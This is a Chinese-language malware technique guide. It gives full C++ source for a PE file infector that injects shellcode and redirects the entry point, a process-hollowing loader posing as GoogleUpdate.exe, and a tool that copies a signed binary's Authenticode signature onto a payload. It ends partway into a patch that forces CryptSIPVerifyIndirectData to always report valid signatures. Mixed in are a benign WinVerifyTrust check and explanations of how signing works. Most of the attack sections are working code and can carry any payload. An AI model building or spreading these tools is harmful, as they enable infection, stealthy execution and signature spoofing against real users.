恶意程式前线战术指南笔记

档案映射

PE蠕虫感染

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
#include <iostream>
#include <Windows.h>
#pragma warning(disable : 4996)
/* Title: User32-free Messagebox Shellcode for All Windows
* Author: Giuseppe D'Amore
* Size: 113 byte (NULL free)
*/
char x86_nullfree_msgbox[] =
"\x31\xd2\xb2\x30\x64\x8b\x12\x8b\x52\x0c\x8b\x52\x1c\x8b\x42"
"\x08\x8b\x72\x20\x8b\x12\x80\x7e\x0c\x33\x75\xf2\x89\xc7\x03"
"\x78\x3c\x8b\x57\x78\x01\xc2\x8b\x7a\x20\x01\xc7\x31\xed\x8b"
"\x34\xaf\x01\xc6\x45\x81\x3e\x46\x61\x74\x61\x75\xf2\x81\x7e"
"\x08\x45\x78\x69\x74\x75\xe9\x8b\x7a\x24\x01\xc7\x66\x8b\x2c"
"\x6f\x8b\x7a\x1c\x01\xc7\x8b\x7c\xaf\xfc\x01\xc7\x68\x79\x74"
"\x65\x01\x68\x6b\x65\x6e\x42\x68\x20\x42\x72\x6f\x89\xe1\xfe"
"\x49\x0b\x31\xc0\x51\x50\xff\xd7";
bool readBinFile(const char fileName[], char** bufPtr, DWORD& length) {
if (FILE* fp = fopen(fileName, "rb")) {
fseek(fp, 0, SEEK_END);
length = ftell(fp);
*bufPtr = new char[length + 1];
fseek(fp, 0, SEEK_SET);
fread(*bufPtr, sizeof(char), length, fp);
return true;
};
return false;
};
int main(int argc, char** argv) {
if (argc != 2) {
puts("[!] usage: ./PE_Patcher.exe [path/to/file]");
return 0;
};
char* buff; DWORD fileSize;
if (!readBinFile(argv[1], &buff, fileSize)) {
puts("[!] selected file not found.");
return 0;
};
#define getNtHdr(buf) ((IMAGE_NT_HEADERS *)((size_t)buf + ((IMAGE_DOS_HEADER *)buf)->e_lfanew))
#define getSectionArr(buf) ((IMAGE_SECTION_HEADER *)((size_t)getNtHdr(buf) + sizeof(IMAGE_NT_HEADERS)))
#define P2ALIGNUP(size, align) ((((size) / (align)) + 1) * (align))
puts("[+] malloc memory for outputed *.exe file.");
size_t sectAlign = getNtHdr(buff)->OptionalHeader.SectionAlignment, fileAlign = getNtHdr(buff)->OptionalHeader.FileAlignment, finalOutSize = fileSize + P2ALIGNUP(sizeof(x86_nullfree_msgbox), fileAlign);
char* outBuf = (char*)malloc(finalOutSize);
memcpy(outBuf, buff, fileSize);
puts("[+] create a new section to store shellcode.");
auto sectArr = getSectionArr(outBuf);
PIMAGE_SECTION_HEADER lastestSecHdr = &sectArr[getNtHdr(outBuf)->FileHeader.NumberOfSections - 1];
PIMAGE_SECTION_HEADER newSectionHdr = lastestSecHdr + 1;
memcpy(newSectionHdr->Name, "30cm.tw", 8);
newSectionHdr->Misc.VirtualSize = P2ALIGNUP(sizeof(x86_nullfree_msgbox), sectAlign);
newSectionHdr->VirtualAddress = P2ALIGNUP((lastestSecHdr->VirtualAddress + lastestSecHdr->Misc.VirtualSize), sectAlign);
newSectionHdr->SizeOfRawData = sizeof(x86_nullfree_msgbox);
newSectionHdr->PointerToRawData = lastestSecHdr->PointerToRawData + lastestSecHdr->SizeOfRawData;
newSectionHdr->Characteristics = IMAGE_SCN_MEM_EXECUTE | IMAGE_SCN_MEM_READ | IMAGE_SCN_MEM_WRITE;
getNtHdr(outBuf)->FileHeader.NumberOfSections += 1;
puts("[+] pack x86 shellcode into new section.");
memcpy(outBuf + newSectionHdr->PointerToRawData, x86_nullfree_msgbox, sizeof(x86_nullfree_msgbox));
puts("[+] repair virtual size. (consider *.exe built by old compiler)");
for (size_t i = 1; i < getNtHdr(outBuf)->FileHeader.NumberOfSections; i++)
sectArr[i - 1].Misc.VirtualSize = sectArr[i].VirtualAddress - sectArr[i - 1].VirtualAddress;
puts("[+] fix image size in memory.");
getNtHdr(outBuf)->OptionalHeader.SizeOfImage = getSectionArr(outBuf)[getNtHdr(outBuf)->FileHeader.NumberOfSections - 1].VirtualAddress + getSectionArr(outBuf)[getNtHdr(outBuf)->FileHeader.NumberOfSections - 1].Misc.VirtualSize;
puts("[+] point EP to shellcode.");
getNtHdr(outBuf)->OptionalHeader.AddressOfEntryPoint = newSectionHdr->VirtualAddress;
char outputPath[MAX_PATH];
memcpy(outputPath, argv[1], sizeof(outputPath));
strcpy(strrchr(outputPath, '.'), "_infected.exe");
FILE* fp = fopen(outputPath, "wb");
fwrite(outBuf, 1, finalOutSize, fp);
fclose(fp);
printf("[+] file saved at %s\n", outputPath);
puts("[+] done.");
return 0;
};

连结器

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
#include <iostream>
#include <Windows.h>
#pragma warning(disable : 4996)
#define file_align 0x200
#define sect_align 0x1000
#define P2ALIGNUP(size, align) ((((size) / align) + 1) * (align))
char x86_nullfree_msgbox[] =
"\x31\xd2\xb2\x30\x64\x8b\x12\x8b\x52\x0c\x8b\x52\x1c\x8b\x42"
"\x08\x8b\x72\x20\x8b\x12\x80\x7e\x0c\x33\x75\xf2\x89\xc7\x03"
"\x78\x3c\x8b\x57\x78\x01\xc2\x8b\x7a\x20\x01\xc7\x31\xed\x8b"
"\x34\xaf\x01\xc6\x45\x81\x3e\x46\x61\x74\x61\x75\xf2\x81\x7e"
"\x08\x45\x78\x69\x74\x75\xe9\x8b\x7a\x24\x01\xc7\x66\x8b\x2c"
"\x6f\x8b\x7a\x1c\x01\xc7\x8b\x7c\xaf\xfc\x01\xc7\x68\x79\x74"
"\x65\x01\x68\x6b\x65\x6e\x42\x68\x20\x42\x72\x6f\x89\xe1\xfe"
"\x49\x0b\x31\xc0\x51\x50\xff\xd7";
int main() {
size_t peHeaderSize = P2ALIGNUP(sizeof(IMAGE_DOS_HEADER) + sizeof(IMAGE_NT_HEADERS) + sizeof(IMAGE_SECTION_HEADER), file_align);
size_t sectionDataSize = P2ALIGNUP(sizeof(x86_nullfree_msgbox), file_align);
char* peData = (char*)calloc(peHeaderSize + sectionDataSize, 1);
// DOS
PIMAGE_DOS_HEADER dosHdr = (PIMAGE_DOS_HEADER)peData;
dosHdr->e_magic = IMAGE_DOS_SIGNATURE; // MZ
dosHdr->e_lfanew = sizeof(IMAGE_DOS_HEADER);
// NT
PIMAGE_NT_HEADERS ntHdr = (PIMAGE_NT_HEADERS)(peData + dosHdr->e_lfanew);
ntHdr->Signature = IMAGE_NT_SIGNATURE; // PE
ntHdr->FileHeader.Machine = IMAGE_FILE_MACHINE_I386;
ntHdr->FileHeader.Characteristics = IMAGE_FILE_EXECUTABLE_IMAGE | IMAGE_FILE_32BIT_MACHINE;
ntHdr->FileHeader.SizeOfOptionalHeader = sizeof(IMAGE_OPTIONAL_HEADER);
ntHdr->FileHeader.NumberOfSections = 1;
// Section
PIMAGE_SECTION_HEADER sectHdr = (PIMAGE_SECTION_HEADER)((char*)ntHdr + sizeof(IMAGE_NT_HEADERS));
memcpy(&(sectHdr->Name), "30cm.tw", 8);
sectHdr->VirtualAddress = 0x1000;
sectHdr->Misc.VirtualSize = P2ALIGNUP(sizeof(x86_nullfree_msgbox), sect_align);
sectHdr->SizeOfRawData = sizeof(x86_nullfree_msgbox);
sectHdr->PointerToRawData = peHeaderSize;
memcpy(peData + peHeaderSize, x86_nullfree_msgbox, sizeof(x86_nullfree_msgbox));
sectHdr->Characteristics = IMAGE_SCN_MEM_EXECUTE | IMAGE_SCN_MEM_READ | IMAGE_SCN_MEM_WRITE;
ntHdr->OptionalHeader.AddressOfEntryPoint = sectHdr->VirtualAddress;
ntHdr->OptionalHeader.Magic = IMAGE_NT_OPTIONAL_HDR32_MAGIC;
ntHdr->OptionalHeader.BaseOfCode = sectHdr->VirtualAddress; // .text RVA
ntHdr->OptionalHeader.BaseOfData = 0x0000; // .data RVA
ntHdr->OptionalHeader.ImageBase = 0x400000;
ntHdr->OptionalHeader.FileAlignment = file_align;
ntHdr->OptionalHeader.SectionAlignment = sect_align;
ntHdr->OptionalHeader.Subsystem = IMAGE_SUBSYSTEM_WINDOWS_GUI;
ntHdr->OptionalHeader.SizeOfImage = sectHdr->VirtualAddress + sectHdr->Misc.VirtualSize;
ntHdr->OptionalHeader.SizeOfHeaders = peHeaderSize;
ntHdr->OptionalHeader.MajorSubsystemVersion = 5;
ntHdr->OptionalHeader.MinorSubsystemVersion = 1;
FILE* fp = fopen("poc.exe", "wb");
fwrite(peData, peHeaderSize + sectionDataSize, 1, fp);
return 0;
};

Process Hollowing

越南国家级网军组织海莲花Ocean Lotus曾用过该技术。把一支具有数位签名的程式执行成进程,再将进程中已挂载的PE模组替换为恶意程式模组。PEB咨询体的ImageBaseAddress栏位储存主要执行程式的映像基址。此小节为x86工程。

用CREATE_SUSPENDED标志能将任意程式执行并挂载为一个进程,且主线程是被暂停住的,尚未执行到执行程式装载器函数。此时暂停状态下进程的主线程的EIP指向线程共同路由函数ntdll!RtlUserThreadStart。该函数第一个参数放在EAX中,储存线程完成必要初始化后应返回哪里继续执行的位址,第二个参数放在EBX中,储存内核生成的该进程中PEB块位址。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
#include <stdio.h>
#include <iostream>
#include <windows.h>
#pragma warning (disable : 4996)
BYTE* MapFileToMemory(LPCSTR filename, LONGLONG& filelen) {
FILE* fileptr;
BYTE* buffer;
fileptr = fopen(filename, "rb"); // Open the file in binary mode
fseek(fileptr, 0, SEEK_END); // Jump to the end of the file
filelen = ftell(fileptr); // Get the current byte offset in the file
rewind(fileptr); // Jump back to the beginning of the file
buffer = (BYTE*)malloc((filelen + 1) * sizeof(char)); // Enough memory for file + \0
fread(buffer, filelen, 1, fileptr); // Read in the entire file
fclose(fileptr); // Close the file
return buffer;
};
void RunPortableExecutable(const char* path, void* Image) {
PROCESS_INFORMATION PI = {};
STARTUPINFOA SI = {};
CONTEXT* CTX;
void* pImageBase; // Pointer to the image base
IMAGE_NT_HEADERS* NtHeader = PIMAGE_NT_HEADERS((size_t)Image + PIMAGE_DOS_HEADER(Image)->e_lfanew);
IMAGE_SECTION_HEADER* SectionHeader = PIMAGE_SECTION_HEADER((size_t)NtHeader + sizeof(*NtHeader));
// Create a new instance of current process in suspended state, for the new image.
if (CreateProcessA(path, 0, 0, 0, false, CREATE_SUSPENDED, 0, 0, &SI, &PI)) {
// Allocate memory for the context.
CTX = LPCONTEXT(VirtualAlloc(NULL, sizeof(CTX), MEM_COMMIT, PAGE_READWRITE));
CTX->ContextFlags = CONTEXT_FULL; // Context is allocated
if (GetThreadContext(PI.hThread, LPCONTEXT(CTX))) {//if context is in thread
pImageBase = VirtualAllocEx(PI.hProcess, LPVOID(NtHeader->OptionalHeader.ImageBase), NtHeader->OptionalHeader.SizeOfImage, 0x3000, PAGE_EXECUTE_READWRITE);
// File Mapping
WriteProcessMemory(PI.hProcess, pImageBase, Image, NtHeader->OptionalHeader.SizeOfHeaders, NULL);
for (int i = 0; i < NtHeader->FileHeader.NumberOfSections; i++)
WriteProcessMemory(PI.hProcess, LPVOID((size_t)pImageBase + SectionHeader[i].VirtualAddress), LPVOID((size_t)Image + SectionHeader[i].PointerToRawData), SectionHeader[i].SizeOfRawData, 0);
WriteProcessMemory(PI.hProcess, LPVOID(CTX->Ebx + 8), LPVOID(&pImageBase), 4, 0);
CTX->Eax = DWORD(pImageBase) + NtHeader->OptionalHeader.AddressOfEntryPoint;
SetThreadContext(PI.hThread, LPCONTEXT(CTX));
ResumeThread(PI.hThread);
};
};
return;
};
int CALLBACK WinMain(HINSTANCE, HINSTANCE, LPSTR, int) {
char CurrentFilePath[MAX_PATH + 1];
GetModuleFileNameA(0, CurrentFilePath, MAX_PATH);
if (strstr(CurrentFilePath, "GoogleUpdate.exe")) {
MessageBoxA(0, "We Cool?", "30cm.tw", 0);
return 0;
};
LONGLONG len = -1;
RunPortableExecutable("GoogleUpdate.exe", MapFileToMemory(CurrentFilePath, len));
return 0;
};

数位签名

签名伪造

数位签名的签署方式有两种:第一种,也是主流商业产品上采用的方式,就是嵌入式数位签名,其将验证用的签署咨询直接绑定在PE结构末端,方便程式档案再携带、复制或者发布同时一并将该程式签署咨询转移到洽谈电脑上进行验证。第二种,为分离式数位签名,将程式的指纹记录/杂凑资讯储存于作业系统C:\Windows\System32\CatRoot中。

对于第二种,每个副档名为.cat的档案为按照ASN.1标准封装的记录,储存了档案文件名称与其对应的档案内容杂凑。该资料夹只有高权系统服务或提供UAC许可“权限提升Process”才能写入.cat指纹档案。

验证一个程式档案是否收到签署,且数位签章有效性:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
#define _UNICODE 1
#define UNICODE 1
#include <tchar.h>
#include <stdio.h>
#include <stdlib.h>
#include <windows.h>
#include <Softpub.h>
#include <wincrypt.h>
#include <wintrust.h>
// Link with the Wintrust.lib file.
#pragma comment (lib, "wintrust")
BOOL VerifyEmbeddedSignature(LPCWSTR pwszSourceFile) {
LONG lStatus;
DWORD dwLastError;
// Initialize the WINTRUST_FILE_INFO structure.
WINTRUST_FILE_INFO FileData; //用于指名要受验证的程式档案在磁碟槽上的路径
memset(&FileData, 0, sizeof(FileData));
FileData.cbStruct = sizeof(WINTRUST_FILE_INFO);
FileData.pcwszFilePath = pwszSourceFile; //指向受验证档案之路径
FileData.hFile = NULL;
FileData.pgKnownSubject = NULL;
/*
WVTPolicyGUID specifies the policy to apply on the file
WINTRUST_ACTION_GENERIC_VERIFY_V2 policy checks:
1) The certificate used to sign the file chains up to a root certificate located in the trusted root certificate store. This implies that the identity of the publisher has been verified by a certification authority.
2) In cases where user interface is displayed (which this example does not do), WinVerifyTrust will check for whether the end entity certificate is stored in the trusted publisher store, implying that the user trusts content from this publisher.
3) The end entity certificate has sufficient permission to sign code, as indicated by the presence of a code signing EKU or no EKU.
*/
GUID WVTPolicyGUID = WINTRUST_ACTION_GENERIC_VERIFY_V2;
WINTRUST_DATA WinTrustData;
// Initialize the WinVerifyTrust input data structure.
memset(&WinTrustData, 0, sizeof(WinTrustData)); // Default all fields to 0.
WinTrustData.cbStruct = sizeof(WinTrustData);
WinTrustData.pPolicyCallbackData = NULL; // Use default code signing EKU.
WinTrustData.pSIPClientData = NULL; // No data to pass to SIP.
WinTrustData.dwUIChoice = WTD_UI_NONE; // Disable WVT UI.
WinTrustData.fdwRevocationChecks = WTD_REVOKE_NONE; // No revocation checking.
WinTrustData.dwUnionChoice = WTD_CHOICE_FILE; // Verify an embedded signature on a file.
WinTrustData.dwStateAction = WTD_STATEACTION_VERIFY; // Verify action.
WinTrustData.hWVTStateData = NULL; // Verification sets this value.
WinTrustData.pwszURLReference = NULL; // Not used.
WinTrustData.dwUIContext = 0;
// Set pFile.
WinTrustData.pFile = &FileData;
// WinVerifyTrust verifies signatures as specified by the GUID and Wintrust_Data.
lStatus = WinVerifyTrust(NULL, &WVTPolicyGUID, &WinTrustData);
switch (lStatus) {
case ERROR_SUCCESS:
{
/*
Signed file:
- Hash that represents the subject is trusted.
- Trusted publisher without any verification errors.
- UI was disabled in dwUIChoice. No publisher or time stamp chain errors.
- UI was enabled in dwUIChoice and the user clicked "Yes" when asked to install and run the signed subject.
*/
wprintf_s(L"The file \"%s\" is signed and the signature was verified.\n", pwszSourceFile);
break;
};
case TRUST_E_NOSIGNATURE:
{
// The file was not signed or had a signature that was not valid.
// Get the reason for no signature.
dwLastError = GetLastError();
if (TRUST_E_NOSIGNATURE == dwLastError || TRUST_E_SUBJECT_FORM_UNKNOWN == dwLastError || TRUST_E_PROVIDER_UNKNOWN == dwLastError)
// The file was not signed.
wprintf_s(L"The file \"%s\" is not signed.\n", pwszSourceFile);
else
// The signature was not valid or there was an error opening the file.
wprintf_s(L"An unknown error occurred trying to verify the signature of the \"%s\" file.\n", pwszSourceFile);
break;
};
case TRUST_E_EXPLICIT_DISTRUST:
{
// The hash that represents the subject or the publisher is not allowed by the admin or user.
wprintf_s(L"The signature is present, but specifically disallowed.\n");
break;
};
case TRUST_E_SUBJECT_NOT_TRUSTED:
{
// The user clicked "No" when asked to install and run.
wprintf_s(L"The signature is present, but not trusted.\n");
break;
};
case CRYPT_E_SECURITY_SETTINGS:
{
// The hash that represents the subject or the publisher was not explicitly trusted by the admin and the admin policy has disabled user trust. No signature, publisher or time stamp errors.
wprintf_s(L"CRYPT_E_SECURITY_SETTINGS - The hash representing the subject or the publisher wasn't explicitly trusted by the admin and admin policy has disabled user trust. No signature, publisher or timestamp errors.\n");
break;
};
default:
{
// The UI was disabled in dwUIChoice or the admin policy has disabled user trust. lStatus contains the publisher or time stamp chain error.
wprintf_s(L"Error is: 0x%x.\n", lStatus);
break;
};
};
// Any hWVTStateData must be released by a call with close.
WinTrustData.dwStateAction = WTD_STATEACTION_CLOSE;
lStatus = WinVerifyTrust(NULL, &WVTPolicyGUID, &WinTrustData);
return true;
};
int _tmain(int argc, _TCHAR* argv[]) {
if (argc > 1)
VerifyEmbeddedSignature(argv[1]);
return 0;
};

在第29行处,WINTRUST_ACTION_GENERIC_VERIFY_V2指示当前要验证的档案是受Authenticode规格签署的数位签名后档案,该值代表是一串Windows COM Interface代号,使WinVerifyTrust透过不同GUID来选用不同COM Interface的DLL模组之导出函数进行验证是否有效。其他选项有HTTPSPROV_ACTION,被用在IE浏览器验证当前SSL/TLS之HTTPS网路连线之对方数位签章是否有效,DRIVER_ACTION_VERIFY验证是否为有效Windows Hardware Quality Labs(WHQL)驱动档案。

WinVerifyTrust返回值有:

结果 含义
ERROR_SUCCESS 传入档案确实受到签名验证通过,且档案无损毁或遭篡改之疑虑。
TRUST_E_NOSIGNATURE 传入档案之签名内容不存在或具有无效数位签章。
TRUST_E_EXPLICIT_DISTRUST 传入档案具有有效签名且验证通过,但该签名效力被签署人或当前用户禁用从而无效。
TRUST_E_SUBJECT_NOT_TRUSTED 该安装该签名之证书到本地系统时被用户手动阻止导致此签名不被信任。
CRYPT_E_SECURITY_SETTINGS 该签名证书当前被网管设下的群组原则禁用,指纹计算结果不吻合当前传入档案,时间戳记异常等。

WinVerifyTrust具体细节看https://specterops.io/wp-content/uploads/sites/3/2022/06/SpecterOps_Subverting_Trust_in_Windows.pdf。在Windows 10时代的详解请看https://mp.weixin.qq.com/s?__biz=MjM5NTc2MDYxMw==&mid=2458286402&idx=3&sn=6eac85d87908e1ee132b09e852c17682&chksm=b18149c886f6c0de5efeb852f59c670353c5331f4fbbafccddd809a53e0d0d11c5bb237ac5f1&scene=27。数字签名劫持实战请看https://zhuanlan.zhihu.com/p/31083135。

由于不同种类档案其数位签名储存方式皆不同,因此微软体系下将每不同中档案验证方式都独立涉及一个COM Interface,即全局共享DLL模组,作为对应当前档案种类的Subject Interface Package(SIP)接口,并配有一组GUID能够反查SIP模组来使用。大致流程如下,“*”表示可选过程:

顺序 Trust Provider
1 Initialization
2 Message
3 Signature
4 Certificate
5 CertCheck*
6 FinalPolicy
7 DiagnosticPolicy*
8 Cleanup*

在上述Message阶段时,先后呼叫三个函数:

  1. Crypt32!CryptSIPDllsMyFileType中将按顺序确认当前传入档案是PE、Catalog、CTL、Cabinet哪种类型并返回对应SIP接口GUID序号。倘若非上述4中,将从注册表中用PsIsMyFileType确认是否为PowerShell脚本、Windows MSI安装包、WIndows应用商店Appx程式等并返回对应SIP接口GUID序号。
  2. 在上个步骤提取出对应当前档案SIP的GUID后,用Crypt32!CryptSIPGetSignedDataMsg以对应SIP接口从当前档案提取签名资讯。
  3. Crypt32!CryptSIPVerifyIndirectData计算当前档案杂凑结果作为指纹,与上个步骤提取出的签名资讯比对,若杂凑结果一致则当前档案与签名当下的档案内容是完全一致的,若不一样则代表该档案在传输或复制过程中损毁或被植入后门、篡改后的档案。

当然上述为设计理论,实践证明PsIsMyFileType的实现在C:\Windows\System32\WindowsPowerShell\v1.0\pwrshsip.dll,代码如下。CryptSIPDllsMyFileType并没有实现,而是查找注册表,并直接调用pwrshsip!PsIsMyFileType

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
__int64 __fastcall PsIsMyFileType(unsigned __int16* a1, struct _GUID* a2) {
unsigned int v2; // ebx
wchar_t* v4; // rbp
__int64 v5; // rdi
wchar_t* String2[7]; // [rsp+20h] [rbp-58h]
v2 = 0;
if (a2 && (*a2 = 0LL, a1)) {
v4 = wcsrchr(a1, 0x2Eu);
if (v4) {
v5 = 0LL;
String2[0] = L"ps1";
String2[1] = L"ps1xml";
String2[2] = L"psc1";
String2[3] = L"psd1";
String2[4] = L"psm1";
String2[5] = L"cdxml";
String2[6] = L"mof";
while (_wcsicmp(v4 + 1, String2[v5])) {
if (++v5 >= 7)
return v2;
}
*a2 = guidPsSip;
return 1;
}
}
else {
SetLastError(0x57u);
}
return v2;
}

稍微整理一下可得:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
#define CRYPT_SUBJTYPE_POWERSHELL_IMAGE {0x603BCC1F,0x4B59,0x4E08,{0xB7,0x24,0xD2,0xC6,0x29,0x7E,0xF3,0x51}}
BOOL WINAPI PsIsMyFileType(IN WCHAR* pwszFileName, OUT GUID* pgSubject) {
BOOL bResult;
WCHAR* SupportedExtensions[7];
WCHAR* Extension;
GUID PowerShellSIPGUID = CRYPT_SUBJTYPE_POWERSHELL_IMAGE;
SupportedExtensions[0] = L"ps1";
SupportedExtensions[1] = L"ps1xml";
SupportedExtensions[2] = L"psc1";
SupportedExtensions[3] = L"psd1";
SupportedExtensions[4] = L"psm1";
SupportedExtensions[5] = L"cdxml";
SupportedExtensions[6] = L"mof";
bResult = FALSE;
if (pwszFileName && pgSubject) {
Extension = wcsrchr(pwszFileName, '.');
if (Extension) {
Extension++;
for (int i = 0; i < 7; i++)
if (!_wcsicmp(Extension, SupportedExtensions[i])) {
bResult = TRUE;
memcpy(pgSubject, &PowerShellSIPGUID, sizeof(GUID));
break;
};
};
}
else
SetLastError(ERROR_INVALID_PARAMETER);
return bResult;
};

对于查看数位签名在PE档案中的位置,可用PE Bear。看到Data Directory表,有Security Directory栏位之位址是一个Offset位置,指向嵌入式Authenticode签名讯息,为WIN_CERTIFICATE结构。

1
2
3
4
5
6
typedef struct _WIN_CERTIFICATE {
DWORD dwLength;
WORD wRevision;
WORD wCertificateType;
BYTE bCertificate[ANYSIZE_ARRAY];
} WIN_CERTIFICATE, * LPWIN_CERTIFICATE;

dwLength记录以签名讯息资料起点处之后多少字节内部算是签名讯息资料。bCertificate栏位作为起点开始后所有资料都是校验用的证书记录内容。wCertificateType栏位记录bCertificate证书类型,选项如下。

类型 描述
WIN_CERT_TYPE_X509 X.509证书
WIN_CERT_TYPE_PKCS_SIGNED_DATA PKCS#7方式填充的SignedData的结构
WIN_CERT_TYPE_RESERVED_1 保留
WIN_CERT_TYPE_TS_STACK_SIGNED 伺服器协议堆叠证书签名

对于wRevision栏位值为WIN_CERT_REVISION_1_0代表旧版Win_Certificate,WIN_CERT_REVISION_2_0代表当代版本。证书签名资讯细节与档案指纹计算细节有https://download.microsoft.com/download/9/c/5/9c5b2167-8017-4bae-9fde-d599bac8184a/Authenticode_PE.docx,但这个有多少过时的内容我不好说。

签名讯息被拼接在政支PE静态档案内容结尾,即最后一个区段内容末尾,拼接起点为Secruity Directory所记录的Offset位址。在遵守PCKS#7方式填充的签名证书讯息,内文包含:

内容 含义
contentInfo 记录签名当下该档案杂凑值作为指纹
certificates 记录签署人的X.509公开证书资讯
signerInfos 储存contentInfo杂凑值与用来显示给使用者检视签署人资讯,如签署人名称、参考网址、签署时间等

档案指纹(即杂凑)的计算方法:

  1. 将PE程式档案读入到记忆体中,并对杂凑演算法做必要的初始化。
  2. 将PE档案开头处到Checksum栏位(位于NT Headers之Optional Header结构)之前的资料进行杂凑计算并更新杂凑结果。
  3. 跳过Checksum栏位不做杂凑计算。
  4. 将Checksum栏位末端到Security Directory栏位之前的资料进行杂凑计算并更新杂凑结果。
  5. 跳过Security Directory栏位,即一个8字节IMAGE_DATA_DIRECTORY结构大小不做杂凑计算。
  6. 将Security Directory栏位末端开始到区段头阵列结尾的资料进行杂凑计算并更新杂凑结果。
  7. 宣告一个数值变数SUM_OF_BYTES_HASHED用以储存当前已对多少字节做过杂凑计算,接着将其预设值设为SizeOfHeaders数值。
  8. 建立一个区段头清单储存PE结构中的所有区段头资讯,并将清单中各个区段头按照其结构的PointrToRawData以小到大的升幂排序。
  9. 对已排序清单中每个区段头按顺序枚举、对区段头指向内容进行块状杂凑计算并更新杂凑结果,每杂凑完一个区段内容便将SUM_OF_BYTES_HASHED变数加上该区段内容大小。
  10. 此时Authenticode被储存在PE机构最末端,但若签名讯息后端还被多padding了其他资料,则将签名讯息块状结构后至档案EOF处所有多余资料再计算一次杂凑并更新杂凑结果。

签名伪造,即将他人Authenticode签名讯息偷过来在恶意程式上。下面这个代码可简单将一个已签名的程式的数位签名直接拷贝到另一个程式上,此时签名是无效的,注意x86与x64要对应。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
#include <fstream>
#include <windows.h>
#pragma warning(disable : 4996)
PBYTE MapFileToMemory(LPCSTR filename, LONGLONG& filelen) {
FILE* fileptr;
PBYTE buffer;
fileptr = fopen(filename, "rb"); // Open the file in binary mode
fseek(fileptr, 0, SEEK_END); // Jump to the end of the file
filelen = ftell(fileptr); // Get the current byte offset in the file
rewind(fileptr); // Jump back to the beginning of the file
buffer = (PBYTE)malloc((filelen + 1) * sizeof(char)); // Enough memory for file + \0
fread(buffer, filelen, 1, fileptr); // Read in the entire file
fclose(fileptr); // Close the file
return buffer;
};
PBYTE rippedCert(CONST PCHAR fromWhere, LONGLONG& certSize) {
LONGLONG signedPeDataLen = 0;
PBYTE signedPeData = MapFileToMemory(fromWhere, signedPeDataLen);
PIMAGE_NT_HEADERS ntHdr = (PIMAGE_NT_HEADERS)(&signedPeData[PIMAGE_DOS_HEADER(signedPeData)->e_lfanew]);
IMAGE_DATA_DIRECTORY certInfo = ntHdr->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_SECURITY];
certSize = certInfo.Size;
printf("%lld\n", certSize);
PBYTE certData = new BYTE[certInfo.Size];
memcpy(certData, &signedPeData[certInfo.VirtualAddress], certInfo.Size);
return certData;
};
int main(int argc, char** argv) {
if (argc < 4) {
PCHAR fileName = strrchr(argv[0], '\\') ? strrchr(argv[0], '\\') + 1 : argv[0];
printf("usage: %s [path/to/signed_pe] [path/to/payload] [path/to/output]\n", fileName);
return 0;
};
// signature from where?
LONGLONG certSize;
PBYTE certData = rippedCert(argv[1], certSize);
// payload data prepare.
LONGLONG payloadSize = 0;
PBYTE payloadPeData = MapFileToMemory(argv[2], payloadSize);
// append signature to payload.
PBYTE finalPeData = new BYTE[payloadSize + certSize];
memcpy(finalPeData, payloadPeData, payloadSize);
PIMAGE_NT_HEADERS ntHdr = (PIMAGE_NT_HEADERS)(&finalPeData[PIMAGE_DOS_HEADER(finalPeData)->e_lfanew]);
ntHdr->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_SECURITY].VirtualAddress = payloadSize;
ntHdr->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_SECURITY].Size = certSize;
memcpy(&finalPeData[payloadSize], certData, certSize);
FILE* fp = fopen(argv[3], "wb");
fwrite(finalPeData, payloadSize + certSize, 1, fp);
puts("done.");
return 0;
};

勒索软体佩提亚Petya在野攻击行动被卡巴斯基研究员@craiu于2017年观察到,其特色在于使用重大国家外泄军火(如EternalBlue、SMB漏洞与Office相关漏洞进行钓鱼)作为标配感染途径,并在全球肆虐攻击大型政府与民营机关如机场、地铁与银行。Petya为了让后门更难以被用户察觉而采用了以上签名窃取手段,使其后门伪装成微软发布的执行程式混淆视听。

杂凑校验绕过

受数位签名的执行程式档案透过CryptSIPGetSignedDataMsg提取出签名讯息(即Security Directory指向的那块WIN_CERTIFICATE完整结构内容)之后,便能以CryptSIPVerifyIndirectData进行校验其签名讯息有效性。若其数位签名对当前程式档案内容仍有效将返回TRUE,反之FALSE。本小节目标为伪造CryptSIPVerifyIndirectData,任何呼叫该函数进行签名有效性确认时都回应TRUE。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
#include <windows.h>
#include <stdio.h>
#include <psapi.h>
#pragma comment(lib, "psapi.lib")
#pragma warning(disable:4996)
bool patchedDone = false;
char tmpModName[MAX_PATH], * pfnCryptVerifyData;
/* 32bit mode
* +0x00 - 48 - dec eax
* +0x01 - 31 C0 - xor eax, eax
* +0x03 - FE C0 - inc al
* +0x05 - C3 - ret
* 64bit mode
* +0x00 - 48 31 C0 - xor rax, rax
* +0x03 - FE C0 - inc al
* +0x05 - C3 - ret
*/
